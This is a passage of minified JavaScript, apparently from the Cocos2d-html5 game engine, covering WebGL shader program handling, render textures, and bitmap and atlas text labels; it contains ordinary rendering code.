  478. !a)return!1;this.ga.shaderSource(a,"precision highp float; \nuniform mat4 CC_PMatrix; \nuniform mat4 CC_MVMatrix; \nuniform mat4 CC_MVPMatrix; \nuniform vec4 CC_Time; \nuniform vec4 CC_SinTime; \nuniform vec4 CC_CosTime; \nuniform vec4 CC_Random01; \n//CC INCLUDES END \n"+d);this.ga.compileShader(a);d=this.ga.getShaderParameter(a,this.ga.COMPILE_STATUS);d||(b.log("cocos2d: ERROR: Failed to compile shader:\n"+this.ga.getShaderSource(a)),
  479. c==this.ga.VERTEX_SHADER?b.log("cocos2d: \n"+this.R4()):b.log("cocos2d: \n"+this.u_()));return 1==d},ctor:function(a,c,d){this.Ab=[];this.kh=[];this.ga=d||b.k;a&&c&&this.G(a,c)},F9:function(){this.kh=this.Ab=this.Dg=this.rf=null;this.ga.deleteProgram(this.Gb)},Bi:function(a,c){var d=this.ga;this.Gb=d.createProgram();this.Dg=this.rf=null;a&&(this.rf=d.createShader(d.VERTEX_SHADER),this.gJ(this.rf,d.VERTEX_SHADER,a)||b.log("cocos2d: ERROR: Failed to compile vertex shader"));c&&(this.Dg=d.createShader(d.FRAGMENT_SHADER),
  480. this.gJ(this.Dg,d.FRAGMENT_SHADER,c)||b.log("cocos2d: ERROR: Failed to compile fragment shader"));this.rf&&d.attachShader(this.Gb,this.rf);b.Ro();this.Dg&&d.attachShader(this.Gb,this.Dg);this.kh.length=0;b.Ro();return!0},sd:function(a,c){return this.Bi(a,c)},$0:function(a,c){var d=b.V.Gd(a);if(!d)throw"Please load the resource firset : "+a;var e=b.V.Gd(c);if(!e)throw"Please load the resource firset : "+c;return this.Bi(d,e)},G:function(a,c){return this.$0(a,c)},pd:function(a,c){this.ga.bindAttribLocation(this.Gb,
  481. c,a)},link:function(){if(!this.Gb)return b.log("cc.GLProgram.link(): Cannot link invalid program"),!1;this.ga.linkProgram(this.Gb);this.rf&&this.ga.deleteShader(this.rf);this.Dg&&this.ga.deleteShader(this.Dg);this.Dg=this.rf=null;return b.Hc.Qe[b.Hc.bh.Ns]&&!this.ga.getProgramParameter(this.Gb,this.ga.LINK_STATUS)?(b.log("cocos2d: ERROR: Failed to link program: "+this.ga.getProgramInfoLog(this.Gb)),b.G0(this.Gb),this.Gb=null,!1):!0},Mc:function(){b.cF(this.Gb)},N4:function(){this.Ab[b.uA]=this.ga.getUniformLocation(this.Gb,
  482. b.nU);this.Ab[b.tA]=this.ga.getUniformLocation(this.Gb,b.lU);this.Ab[b.Sq]=this.ga.getUniformLocation(this.Gb,b.mU);this.Ab[b.yA]=this.ga.getUniformLocation(this.Gb,b.rU);this.Ab[b.xA]=this.ga.getUniformLocation(this.Gb,b.qU);this.Ab[b.sA]=this.ga.getUniformLocation(this.Gb,b.kU);this.dM=null!=this.Ab[b.yA]||null!=this.Ab[b.xA]||null!=this.Ab[b.sA];this.Ab[b.vA]=this.ga.getUniformLocation(this.Gb,b.oU);this.Ab[b.wA]=this.ga.getUniformLocation(this.Gb,b.pU);this.Mc();this.zP(this.Ab[b.wA],0)},tca:function(a){if(!a)throw"cc.GLProgram.getUniformLocationForName(): uniform name should be non-null";
  483. if(!this.Gb)throw"cc.GLProgram.getUniformLocationForName(): Invalid operation. Cannot get uniform location when program is not initialized";return this.ga.getUniformLocation(this.Gb,a)},uca:function(){return this.Ab[b.Sq]},vca:function(){return this.Ab[b.wA]},zP:function(a,c){this.Me(a,c)&&this.ga.uniform1i(a,c)},mja:function(a,c,d){this.Me(a,[c,d])&&this.ga.uniform2i(a,c,d)},pja:function(a,c,d,e){this.Me(a,[c,d,e])&&this.ga.uniform3i(a,c,d,e)},sja:function(a,c,d,e,f){this.Me(a,[c,d,e,f])&&this.ga.uniform4i(a,
  484. c,d,e,f)},nja:function(a,c){this.Me(a,c)&&this.ga.uniform2iv(a,c)},qja:function(a,c){this.Me(a,c)&&this.ga.uniform3iv(a,c)},tja:function(a,c){this.Me(a,c)&&this.ga.uniform4iv(a,c)},kja:function(a,c){this.zP(a,c)},Gt:function(a,c){this.Me(a,c)&&this.ga.uniform1f(a,c)},X3:function(a,c,d){this.Me(a,[c,d])&&this.ga.uniform2f(a,c,d)},Y3:function(a,c,d,e){this.Me(a,[c,d,e])&&this.ga.uniform3f(a,c,d,e)},Ht:function(a,c,d,e,f){this.Me(a,[c,d,e,f])&&this.ga.uniform4f(a,c,d,e,f)},lja:function(a,c){this.Me(a,
  485. c)&&this.ga.uniform2fv(a,c)},oja:function(a,c){this.Me(a,c)&&this.ga.uniform3fv(a,c)},rja:function(a,c){this.Me(a,c)&&this.ga.uniform4fv(a,c)},uG:function(a,c){this.Me(a,c)&&this.ga.uniformMatrix4fv(a,!1,c)},jja:function(){if(!(2>arguments.length))switch(arguments.length){case 2:this.Gt(arguments[0],arguments[1]);break;case 3:this.X3(arguments[0],arguments[1],arguments[2]);break;case 4:this.Y3(arguments[0],arguments[1],arguments[2],arguments[3]);break;case 5:this.Ht(arguments[0],arguments[1],arguments[2],
  486. arguments[3],arguments[4])}},It:function(){var a=new b.ca,c=new b.ca,d=new b.ca;b.Px(b.Ri,a);b.Px(b.Qi,c);b.Ei(d,a,c);this.uG(this.Ab[b.uA],a.c,1);this.uG(this.Ab[b.tA],c.c,1);this.uG(this.Ab[b.Sq],d.c,1);this.dM&&(a=b.D,a=a.Nw*a.$q,this.Ht(this.Ab[b.yA],a/10,a,2*a,4*a),this.Ht(this.Ab[b.xA],a/8,a/4,a/2,Math.sin(a)),this.Ht(this.Ab[b.sA],a/8,a/4,a/2,Math.cos(a)));-1!=this.Ab[b.vA]&&this.Ht(this.Ab[b.vA],Math.random(),Math.random(),Math.random(),Math.random())},hja:function(){this.ga.uniformMatrix4fv(this.Ab[b.Sq],
  487. !1,b.a0())},ija:function(a){b.Ei(a,b.el.top,b.Gj.top);this.ga.uniformMatrix4fv(this.Ab[b.Sq],!1,a.c)},af:function(){this.ga.uniformMatrix4fv(this.Ab[b.tA],!1,b.Gj.top.c);this.ga.uniformMatrix4fv(this.Ab[b.uA],!1,b.el.top.c)},R4:function(){return this.ga.getShaderInfoLog(this.rf)},Aca:function(){return this.ga.getShaderInfoLog(this.rf)},Paa:function(){return this.ga.getShaderInfoLog(this.rf)},u_:function(){return this.ga.getShaderInfoLog(this.Dg)},tga:function(){return this.ga.getProgramInfoLog(this.Gb)},
  488. Kba:function(){return this.ga.getProgramInfoLog(this.Gb)},reset:function(){this.Dg=this.rf=null;this.Ab.length=0;this.ga.deleteProgram(this.Gb);this.Gb=null;for(var a=0;a<this.kh.length;a++)this.kh[a].value=null,this.kh[a]=null;this.kh.length=0},Mm:function(){return this.Gb},uy:function(){},Ki:function(){}});b.Vh.create=function(a,c){return new b.Vh(a,c)};b.mJ=-1;b.SD=!1;b.RD=!1;b.TD=!1;b.eh&&(b.LR=16,b.kr=-1,b.jr=[-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1],b.Dn=-1,b.Cn=-1,b.BU=0,b.bA&&(b.XL=0));b.Jca=function(){b.x1();b.mJ=-1;b.SD=!1;b.RD=!1;b.TD=!1;if(b.eh){b.kr=-1;for(var a=0;a<b.LR;a++)b.jr[a]=-1;b.Dn=-1;b.Cn=-1;b.BU=0}};b.cF=function(a){a!==b.kr&&(b.kr=a,b.k.useProgram(a))};b.eh||(b.cF=function(a){b.k.useProgram(a)});b.G0=function(a){b.eh&&a===b.kr&&(b.kr=-1);gl.deleteProgram(a)};
  489. b.Mh=function(a,c){if(a!==b.Dn||c!==b.Cn)b.Dn=a,b.Cn=c,b.yy(a,c)};b.yy=function(a,c){var d=b.k;a===d.ONE&&c===d.ZERO?d.disable(d.BLEND):(d.enable(d.BLEND),b.k.blendFunc(a,c))};b.EN=function(a,c){if(a!==b.Dn||c!==b.Cn){b.Dn=a;b.Cn=c;var d=b.k;a===d.ONE&&c===d.ZERO?d.disable(d.BLEND):(d.enable(d.BLEND),d.blendFuncSeparate(d.SRC_ALPHA,c,a,c))}};b.eh||(b.Mh=b.yy);b.Gca=function(){var a=b.k;a.blendEquation(a.FUNC_ADD);b.eh?b.yy(b.Dn,b.Cn):b.yy(a.hc,a.gc)};b.oP=function(){b.mJ=-1};
  490. b.Ic=function(a){var c=b.k,d=a&b.Od;d!==b.SD&&(d?c.enableVertexAttribArray(b.tb):c.disableVertexAttribArray(b.tb),b.SD=d);d=a&b.Tu;d!==b.RD&&(d?c.enableVertexAttribArray(b.Ae):c.disableVertexAttribArray(b.Ae),b.RD=d);a&=b.wn;a!==b.TD&&(a?c.enableVertexAttribArray(b.yd):c.disableVertexAttribArray(b.yd),b.TD=a)};b.te=function(a){b.bF(0,a)};b.bF=function(a,c){if(b.jr[a]!=c){b.jr[a]=c;var d=b.k;d.activeTexture(d.TEXTURE0+a);c?d.bindTexture(d.TEXTURE_2D,c.Xd):d.bindTexture(d.TEXTURE_2D,null)}};
  491. b.eh||(b.bF=function(a,c){var d=b.k;d.activeTexture(d.TEXTURE0+a);c?d.bindTexture(d.TEXTURE_2D,c.Xd):d.bindTexture(d.TEXTURE_2D,null)});b.Hca=function(a){b.H0(a)};b.H0=function(a){b.eh&&a==b.jr[0]&&(b.jr[0]=-1);b.k.deleteTexture(a)};b.Fca=function(a){b.bA&&b.eh&&b.XL!=a&&(b.XL=a)};b.Ica=function(){};b.h6=0;b.i6=1;b.j6=2;b.Uj=function(a){a-=1;a|=a>>1;a|=a>>2;a|=a>>4;a|=a>>8;return(a|a>>16)+1};
  492. b.sn=b.q.extend({sprite:null,cx:0,qE:0,Fs:!1,ce:null,Ce:null,Hv:0,lr:0,li:0,K:null,ps:null,CY:null,ni:b.da.Si,Yi:null,rE:0,gB:null,ub:"RenderTexture",ctor:null,hr:function(a,c,d,e){b.q.prototype.ctor.call(this);this.Yi=b.color(255,255,255,255);this.gB="rgba(255,255,255,1)";this.ce=b.Ob("canvas");this.Ce=this.ce.getContext("2d");this.anchorY=this.anchorX=0;void 0!==a&&void 0!==c&&(d=d||b.da.Si,this.Jx(a,c,d,e||0))},ir:function(a,c,d,e){b.q.prototype.ctor.call(this);this.Yi=b.color(0,0,0,0);void 0!==
  493. a&&void 0!==c&&(d=d||b.da.Si,this.Jx(a,c,d,e||0))},Pe:null,dV:function(){b.q.prototype.vb.call(this);this.ce=this.Ce=null},eV:function(){b.q.prototype.vb.call(this);this.ps=null;var a=b.k;a.deleteFramebuffer(this.Hv);this.lr&&a.deleteRenderbuffer(this.lr);this.CY=null},wN:function(){return this.sprite},Iy:function(a){this.sprite=a},Jx:null,BW:function(a,c){var d=this.ce,e=b.rb();d.width=0|a*e;d.height=0|c*e;this.Ce.translate(0,d.height);e=new b.da;e.rd(d);e.Nb();this.sprite=b.Q.create(e);return!0},
  494. DW:function(a,c,d,e){d==b.da.xq&&b.log("cc.RenderTexture._initWithWidthAndHeightForWebGL() : only RGB and RGBA formats are valid for a render texture;");var f=b.k,g=b.rb();a=0|a*g;c=0|c*g;this.li=f.getParameter(f.FRAMEBUFFER_BINDING);var h;b.So.Kw?(g=a,h=c):(g=b.Uj(a),h=b.Uj(c));for(var k=new Uint8Array(g*h*4),m=0;m<g*h*4;m++)k[m]=0;this.ni=d;this.K=new b.da;if(!this.K)return!1;m=this.K;m.at(k,this.ni,g,h,O(a,c));d=f.getParameter(f.RENDERBUFFER_BINDING);if(b.So.Qo("GL_QCOM")){this.ps=new b.da;if(!this.ps)return!1;
  495. this.ps.at(k,this.ni,g,h,O(a,c))}this.Hv=f.createFramebuffer();f.bindFramebuffer(f.FRAMEBUFFER,this.Hv);f.framebufferTexture2D(f.FRAMEBUFFER,f.COLOR_ATTACHMENT0,f.TEXTURE_2D,m.Xd,0);0!=e&&(this.lr=f.createRenderbuffer(),f.bindRenderbuffer(f.RENDERBUFFER,this.lr),f.renderbufferStorage(f.RENDERBUFFER,e,g,h),f.framebufferRenderbuffer(f.FRAMEBUFFER,f.DEPTH_ATTACHMENT,f.RENDERBUFFER,this.lr));f.checkFramebufferStatus(f.FRAMEBUFFER)!==f.FRAMEBUFFER_COMPLETE&&b.log("Could not attach texture to the framebuffer");
  496. m.cG();a=this.sprite=b.Q.create(m);a.scaleY=-1;a.We(f.ONE,f.ONE_MINUS_SRC_ALPHA);f.bindRenderbuffer(f.RENDERBUFFER,d);f.bindFramebuffer(f.FRAMEBUFFER,this.li);this.Fs=!1;this.N(a);return!0},Eh:null,RU:function(){b.k=this.Ce;b.view.CL()},SU:function(){b.Di(b.Ri);b.Pm();b.Di(b.Qi);b.Pm();var a=b.D;a.$m(a.qi);var c=this.K.O,d=b.D.Ws(),a=d.width/c.width,d=d.height/c.height,e=b.k;e.viewport(0,0,c.width,c.height);c=new b.ca;b.yF(c,-1/a,1/a,-1/d,1/d,-1,1);b.lp(c);this.li=e.getParameter(e.FRAMEBUFFER_BINDING);
  497. e.bindFramebuffer(e.FRAMEBUFFER,this.Hv);b.So.Qo("GL_QCOM")&&(e.framebufferTexture2D(e.FRAMEBUFFER,e.COLOR_ATTACHMENT0,e.TEXTURE_2D,this.ps.Xd,0),e.clear(e.COLOR_BUFFER_BIT|e.DEPTH_BUFFER_BIT),e.framebufferTexture2D(e.FRAMEBUFFER,e.COLOR_ATTACHMENT0,e.TEXTURE_2D,this.K.Xd,0))},oZ:function(a,c,d,e,f,g){var h=b.k;f=f||h.COLOR_BUFFER_BIT;g=g||h.COLOR_BUFFER_BIT|h.DEPTH_BUFFER_BIT;this.VA(a,c,d,e,f,g,h.COLOR_BUFFER_BIT|h.DEPTH_BUFFER_BIT|h.STENCIL_BUFFER_BIT)},VA:null,TU:function(a,c,d,e){this.Eh();a=
  498. a||0;c=c||0;d=d||0;e=isNaN(e)?1:e;var f=this.Ce,g=this.ce;f.save();f.fillStyle="rgba("+(0|a)+","+(0|c)+","+(0|d)+","+e/255+")";f.clearRect(0,0,g.width,-g.height);f.fillRect(0,0,g.width,-g.height);f.restore()},UU:function(a,c,d,e,f,g,h){this.Eh();var k=b.k,m=[0,0,0,0],p=0,r=0;h&k.COLOR_BUFFER_BIT&&(m=k.getParameter(k.COLOR_CLEAR_VALUE),k.clearColor(a,c,d,e));h&k.DEPTH_BUFFER_BIT&&(p=k.getParameter(k.DEPTH_CLEAR_VALUE),k.clearDepth(f));h&k.STENCIL_BUFFER_BIT&&(r=k.getParameter(k.STENCIL_CLEAR_VALUE),
  499. k.clearStencil(g));k.clear(h);h&k.COLOR_BUFFER_BIT&&k.clearColor(m[0],m[1],m[2],m[3]);h&k.DEPTH_BUFFER_BIT&&k.clearDepth(p);h&k.STENCIL_BUFFER_BIT&&k.clearStencil(r)},end:null,AV:function(){b.k=b.TW;b.view.pL()},BV:function(){var a=b.k,c=b.D;a.bindFramebuffer(a.FRAMEBUFFER,this.li);c.AP();b.Di(b.Ri);b.Om();b.Di(b.Qi);b.Om()},clear:function(a,c,d,e){this.oZ(a,c,d,e);this.end()},clearRect:null,hV:function(a,c,d,e){this.Ce.clearRect(a,c,d,-e)},iV:function(){},clearDepth:null,fV:function(){b.log("clearDepth isn't supported on Cocos2d-Html5")},
  500. gV:function(a){this.Eh();var c=b.k,d=c.getParameter(c.DEPTH_CLEAR_VALUE);c.clearDepth(a);c.clear(c.DEPTH_BUFFER_BIT);c.clearDepth(d);this.end()},clearStencil:null,jV:function(){b.log("clearDepth isn't supported on Cocos2d-Html5")},kV:function(a){var c=b.k,d=c.getParameter(c.STENCIL_CLEAR_VALUE);c.clearStencil(a);c.clear(c.STENCIL_BUFFER_BIT);c.clearStencil(d)},T:null,tm:function(a){this.zc&&(a=a||b.k,a.save(),this.Z(a),this.transform(a),this.sprite.T(),a.restore(),this.arrivalOrder=0)},zs:function(a){if(this.zc){b.Pm();
  501. var c=this.grid;c&&c.xf()&&(c.Hs(),this.Oy());this.transform(a);this.sprite.T();this.Z(a);c&&c.xf()&&c.Es(this);b.Om();this.arrivalOrder=0}},Z:null,Ql:function(a){a=a||b.k;if(this.Fs){this.Eh();if(this.cx){var c=this.ce;a.save();a.fillStyle=this.gB;a.clearRect(0,0,c.width,-c.height);a.fillRect(0,0,c.width,-c.height);a.restore()}this.Tc();a=this.s;for(var c=a.length,d=this.sprite,e=0;e<c;e++){var f=a[e];f!=d&&f.T()}this.end()}},$i:function(){var a=b.k;if(this.Fs){this.Eh();var c=this.cx;if(c){var d=
  502. [0,0,0,0],e=0,f=0;c&a.COLOR_BUFFER_BIT&&(d=a.getParameter(a.COLOR_CLEAR_VALUE),a.clearColor(this.Yi.r/255,this.Yi.g/255,this.Yi.b/255,this.Yi.a/255));c&a.DEPTH_BUFFER_BIT&&(e=a.getParameter(a.DEPTH_CLEAR_VALUE),a.clearDepth(this.qE));c&a.STENCIL_BUFFER_BIT&&(f=a.getParameter(a.STENCIL_CLEAR_VALUE),a.clearStencil(this.rE));a.clear(c);c&a.COLOR_BUFFER_BIT&&a.clearColor(d[0],d[1],d[2],d[3]);c&a.DEPTH_BUFFER_BIT&&a.clearDepth(e);c&a.STENCIL_BUFFER_BIT&&a.clearStencil(f)}this.Tc();a=this.s;for(c=0;c<a.length;c++)d=
  503. a[c],d!=this.sprite&&d.T();this.end()}},vfa:function(){b.log("saveToFile isn't supported on cocos2d-html5");return null},j8:function(a,c,d,e,f){for(var g=0;g<f;g++)a[c+g]=d[e+g]},lha:function(){b.log("saveToFile isn't supported on Cocos2d-Html5")},lfa:function(){b.log("listenToBackground isn't supported on Cocos2d-Html5")},mfa:function(){b.log("listenToForeground isn't supported on Cocos2d-Html5")},maa:function(){return this.cx},Gha:function(a){this.cx=a},C_:function(){return this.Yi},eG:null,KX:function(a){var c=
  504. this.Yi;c.r=a.r;c.g=a.g;c.b=a.b;c.a=a.a;this.gB="rgba("+(0|a.r)+","+(0|a.g)+","+(0|a.b)+","+a.a/255+")"},LX:function(a){var c=this.Yi;c.r=a.r;c.g=a.g;c.b=a.b;c.a=a.a},laa:function(){return this.qE},Fha:function(a){this.qE=a},naa:function(){return this.rE},Hha:function(a){this.rE=a},Vca:function(){return this.Fs},yha:function(a){this.Fs=a}});n=b.sn.prototype;
  505. b.A==b.$?(n.ctor=n.ir,n.Pe=n.eV,n.Jx=n.DW,n.Eh=n.SU,n.VA=n.UU,n.end=n.BV,n.clearRect=n.iV,n.clearDepth=n.gV,n.clearStencil=n.kV,n.T=n.zs,n.Z=n.$i,n.eG=n.LX):(n.ctor=n.hr,n.Pe=n.dV,n.Jx=n.BW,n.Eh=n.RU,n.VA=n.TU,n.end=n.AV,n.clearRect=n.hV,n.clearDepth=n.fV,n.clearStencil=n.jV,n.T=n.tm,n.Z=n.Ql,n.eG=n.KX);b.f(n,"clearColorVal",n.C_,n.eG);b.sn.create=function(a,c,d,e){return new b.sn(a,c,d,e)};b.Wh=b.Ni.extend({Ib:null,dC:null,na:!1,gb:null,ub:"LabelAtlas",ctor:function(a,c,d,e,f){b.Ni.prototype.ctor.call(this);c&&b.Wh.prototype.sd.call(this,a,c,d,e,f)},Mt:function(){return this.na},Yd:function(a,c){this.gb||(this.gb=[]);this.gb.push({Fh:a,ag:c})},Qd:function(){if(this.gb){this.na=!0;for(var a=this.gb,c=0,d=a.length;c<d;c++){var e=a[c];e.Fh.call(e.ag,this)}a.length=0}},sd:function(a,c,d,e,f){var g=a+"",h,k;if(void 0===d){d=b.V.Gd(c);if(1!==parseInt(d.version,10))return b.log("cc.LabelAtlas.initWithString(): Unsupported version. Upgrade cocos2d version"),
  506. !1;c=b.path.Po(c,d.textureFilename);e=b.rb();h=parseInt(d.itemWidth,10)/e;k=parseInt(d.itemHeight,10)/e;d=String.fromCharCode(parseInt(d.firstChar,10))}else h=d||0,k=e||0,d=f||" ";var m=null,m=c instanceof b.da?c:b.Da.Bc(c);(this.na=c=m.vc)||m.Yd(function(){this.ta(m,h,k,g.length);this.string=g;this.Qd()},this);return this.ta(m,h,k,g.length)?(this.dC=d,this.string=g,!0):!1},La:function(a){b.Ni.prototype.La.call(this,a);this.Op()},Zk:function(){return this.Ib},Z:function(a){b.Ni.prototype.Z.call(this,
  507. a);b.CR&&(a=this.size,b.Ee.Zd([N(0,0),N(a.width,0),N(a.width,a.height),N(0,a.height)],4,!0))},NA:function(a,c,d){a.OW=!0;b.ia.prototype.N.call(this,a,c,d)},Op:null,DY:function(){for(var a=this.Ib||"",c=a.length,d=this.texture,e=this.hi,f=this.oh,g=0;g<c;g++){var h=a.charCodeAt(g)-this.dC.charCodeAt(0),h=Q(parseInt(h%this.oo,10)*e,parseInt(h/this.oo,10)*f,e,f),k=a.charCodeAt(g),m=this.Ih(g);m?32==k?(m.G(),m.hb(Q(0,0,10,10),!1,O(0,0))):(m.ta(d,h),m.visible=!0,m.opacity=this.Ca):(m=new b.Q,32==k?(m.G(),
  508. m.hb(Q(0,0,10,10),!1,O(0,0))):m.ta(d,h),b.ia.prototype.N.call(this,m,0,g));m.P(g*e+e/2,f/2)}},EY:function(){var a=this.Ib,c=a.length,d=this.textureAtlas,e=d.texture,f=e.pixelsWidth,e=e.pixelsHeight,g=this.hi,h=this.oh;this.Rv||(g=this.hi*b.rb(),h=this.oh*b.rb());c>d.zd&&b.log("cc.LabelAtlas._updateAtlasValues(): Invalid String length");for(var k=d.quads,m=this.Fa,m={r:m.r,g:m.g,b:m.b,a:this.Ca},p=this.hi,r=0;r<c;r++){var s=a.charCodeAt(r)-this.dC.charCodeAt(0),u=s%this.oo,t=0|s/this.oo,v;b.kn?(u=
  509. (2*u*g+1)/(2*f),s=u+(2*g-2)/(2*f),t=(2*t*h+1)/(2*e),v=t+(2*h-2)/(2*e)):(u=u*g/f,s=u+g/f,t=t*h/e,v=t+h/e);var w=k[r],y=w.L,B=w.J,G=w.F,w=w.M;y.l.ea=u;y.l.fa=t;B.l.ea=s;B.l.fa=t;G.l.ea=u;G.l.fa=v;w.l.ea=s;w.l.fa=v;G.i.x=r*p;G.i.y=0;G.i.z=0;w.i.x=r*p+p;w.i.y=0;w.i.z=0;y.i.x=r*p;y.i.y=this.oh;y.i.z=0;B.i.x=r*p+p;B.i.y=this.oh;B.i.z=0;y.t=m;B.t=m;G.t=m;w.t=m}0<c&&(d.dirty=!0,a=d.totalQuads,c>a&&d.JN(c-a))},Lc:null,hY:function(a){a=String(a);var c=a.length;this.Ib=a;this.width=c*this.hi;this.height=this.oh;
  510. if(this.s){a=this.s;for(var c=a.length,d=0;d<c;d++){var e=a[d];e&&!e.OW&&(e.visible=!1)}}this.Op();this.quadsToDraw=c},jY:function(a){a=String(a);var c=a.length;c>this.textureAtlas.totalQuads&&this.textureAtlas.XF(c);this.Ib=a;this.width=c*this.hi;this.height=this.oh;this.Op();this.quadsToDraw=c},Ba:null,eD:function(a){if(this.Ca!==a){b.Ni.prototype.Ba.call(this,a);for(var c=this.s,d=0,e=c.length;d<e;d++)c[d]&&(c[d].opacity=a)}},fD:function(a){this.Ud!==a&&b.Ni.prototype.Ba.call(this,a)}});n=b.Wh.prototype;
  511. b.A===b.$?(n.Op=n.EY,n.Lc=n.jY,n.Ba=n.fD):(n.Op=n.DY,n.Lc=n.hY,n.Ba=n.eD,n.N=n.NA);b.f(n,"opacity",n.Se,n.Ba);b.f(n,"string",n.Zk,n.Lc);b.Wh.create=function(a,c,d,e,f){return new b.Wh(a,c,d,e,f)};b.o6=-1;
  512. b.sz=b.ef.extend({yb:!0,Sa:!1,Ib:"",Jf:null,Kv:"",jo:"",Yq:b.un,As:-1,JK:!1,Sv:null,rL:null,Ca:255,Vd:255,Fa:null,cc:null,Ad:!0,ee:!0,na:!1,gb:null,ub:"LabelBMFont",DL:function(a,c){c?this.jo=a:this.Ib=a;var d=this.s;if(d)for(var e=0;e<d.length;e++){var f=d[e];f&&f.BP(!1)}this.na&&(this.ix(),c&&this.ng())},ctor:function(a,c,d,e,f){b.ef.prototype.ctor.call(this);this.Sv=N(0,0);this.Fa=b.color(255,255,255,255);this.cc=b.color(255,255,255,255);this.rL=[];this.sd(a,c,d,e,f)},Mt:function(){return this.na},Yd:function(a,
  513. c){this.gb||(this.gb=[]);this.gb.push({Fh:a,ag:c})},Qd:function(){if(this.gb){for(var a=this.gb,c=0,d=a.length;c<d;c++){var e=a[c];e.Fh.call(e.ag,this)}a.length=0}},Z:function(a){b.ef.prototype.Z.call(this,a);if(b.DR){a=this.Jh();var c=N(0|-this.kb.x,0|-this.kb.y);a=[N(c.x,c.y),N(c.x+a.width,c.y),N(c.x+a.width,c.y+a.height),N(c.x,c.y+a.height)];b.Ee.Gp(0,255,0,255);b.Ee.Zd(a,4,!0)}},La:function(a){var c=this.Fa,d=this.cc;if(d.r!=a.r||d.g!=a.g||d.b!=a.b||d.a!=a.a)c.r=d.r=a.r,c.g=d.g=a.g,c.b=d.b=a.b,
  514. this.na&&this.Ad&&(c=b.color.WHITE,(d=this.Tb)&&d.yb&&d.cascadeColor&&(c=d.Lm()),this.Pb(c)),void 0===a.a||a.Cs||this.Ba(a.a)},ue:function(){return this.Sa},Jd:function(a){this.Sa=a;if(a=this.s)for(var c=0;c<a.length;c++){var d=a[c];d&&d.yb&&(d.opacityModifyRGB=this.Sa)}},Se:function(){return this.Vd},cN:function(){return this.Ca},Ba:function(a){this.Ca=this.Vd=a;if(this.ee){var c=255,d=this.Tb;d&&d.yb&&d.cascadeOpacity&&(c=d.Ca);this.Lb(c)}this.Fa.a=this.cc.a=a},Lb:function(a){this.Ca=this.Vd*a/
  515. 255;a=this.s;for(var c=0;c<a.length;c++){var d=a[c];b.A==b.$?d.Lb(this.Ca):(b.ia.prototype.Lb.call(d,this.Ca),d.Ma())}this.mk()},ct:function(){return!1},Fp:function(a){this.ee=a},Re:function(){var a=this.cc;return b.color(a.r,a.g,a.b,a.a)},Lm:function(){return this.Fa},Pb:function(a){var c=this.Fa,d=this.cc;c.r=d.r*a.r/255;c.g=d.g*a.g/255;c.b=d.b*a.b/255;a=this.s;for(c=0;c<a.length;c++)d=a[c],b.A==b.$?d.Pb(this.Fa):(b.ia.prototype.Pb.call(d,this.Fa),d.Ma());this.mk()},mk:function(){if(b.A!=b.$){var a,
  516. c=this.texture;c&&0<c.width&&(a=c.Db)&&(c=b.Da.ux(this.ke.Db))&&(a instanceof HTMLCanvasElement&&!this.$c?b.ap(a,c,this.Fa,null,a):(a=b.ap(a,c,this.Fa),c=new b.da,c.rd(a),c.Nb(),this.texture=c))}},bt:function(){return!1},Ep:function(a){this.Ad=a},G:function(){return this.sd(null,null,null,null,null)},sd:function(a,c,d,e,f){a=a||"";this.Jf&&b.log("cc.LabelBMFont.initWithString(): re-init is no longer supported");if(c){var g=b.V.Gd(c);if(!g)return b.log("cc.LabelBMFont.initWithString(): Impossible to create font. Please check file"),
  517. !1;this.Jf=g;this.Kv=c;c=b.Da.Bc(g.lM);(this.na=g=c.vc)||c.Yd(function(a){this.na=!0;this.ta(a,this.jo.length);this.Lc(this.jo,!0);this.Qd()},this)}else c=new b.da,g=new Image,c.rd(g),this.na=!1;return this.ta(c,a.length)?(this.Yq=e||b.Iu,this.Sv=f||N(0,0),this.As=null==d?-1:d,this.Ca=this.Vd=255,this.Fa=b.color(255,255,255,255),this.cc=b.color(255,255,255,255),this.Ad=this.ee=!0,this.O.width=0,this.O.height=0,this.fl(0.5,0.5),b.A===b.$&&(d=this.textureAtlas.texture,this.Sa=d.yi(),e=this.rL=new b.Q,
  518. e.ta(d,Q(0,0,0,0),!1),e.batchNode=this),this.Lc(a,!0),!0):!1},ix:function(){var a=b.A,c=a===b.Ea?this.texture:this.textureAtlas.texture,d=0,e=O(0,0),f=0,g=1,h=this.Ib,k=h?h.length:0;if(0!==k){var m,p=this.Jf,r=p.r1,s=p.tE,u=p.t_;for(m=0;m<k-1;m++)10==h.charCodeAt(m)&&g++;var t=s*g,g=-(s-s*g),v=-1;for(m=0;m<k;m++)if(s=h.charCodeAt(m),0!=s)if(10===s)d=0,g-=p.tE;else{var w=r[v<<16|s&65535]||0,y=u[s];if(y){var B=Q(y.rect.x,y.rect.y,y.rect.width,y.rect.height),B=b.Jj(B);B.x+=this.Sv.x;B.y+=this.Sv.y;(v=
  519. this.Ih(m))?32===s&&a===b.Ea?v.hb(B,!1,O(0,0)):(v.hb(B,!1),v.visible=!0):(v=new b.Q,32===s&&a===b.Ea&&(B=Q(0,0,0,0)),v.ta(c,B,!1),v.iC=!0,this.N(v,0,m));v.opacityModifyRGB=this.Sa;b.A==b.$?(v.Pb(this.Fa),v.Lb(this.Ca)):(b.ia.prototype.Pb.call(v,this.Fa),b.ia.prototype.Lb.call(v,this.Ca),v.Ma());B=N(d+y.aQ+0.5*y.rect.width+w,g+(p.tE-y.bQ)-0.5*B.height*b.rb());v.P(b.RF(B));d+=y.V4+w;v=s;f<d&&(f=d)}else b.log("cocos2d: LabelBMFont: character not found "+h[m])}e.width=f;e.height=t;this.$d(b.DP(e))}},
  520. gka:function(a){var c=this.s;if(c)for(var d=0,e=c.length;d<e;d++){var f=c[d];f&&(f.visible=!1)}this.Jf&&this.ix();a||this.ng()},Zk:function(){return this.jo},Lc:function(a,c){a=String(a);null==c&&(c=!0);if(null==a||"string"!=typeof a)a+="";this.jo=a;this.DL(a,c)},iY:function(a){this.Lc(a,!1)},Cha:function(a){this.Lc(a,!0)},ng:function(){this.string=this.jo;if(0<this.As){for(var a=this.Ib.length,c=[],d=[],e=1,f=0,g=!1,h=!1,k=-1,m=-1,p=0,r,s=0,u=this.s.length;s<u;s++){for(var t=0;!(r=this.Ih(s+p+t));)t++;
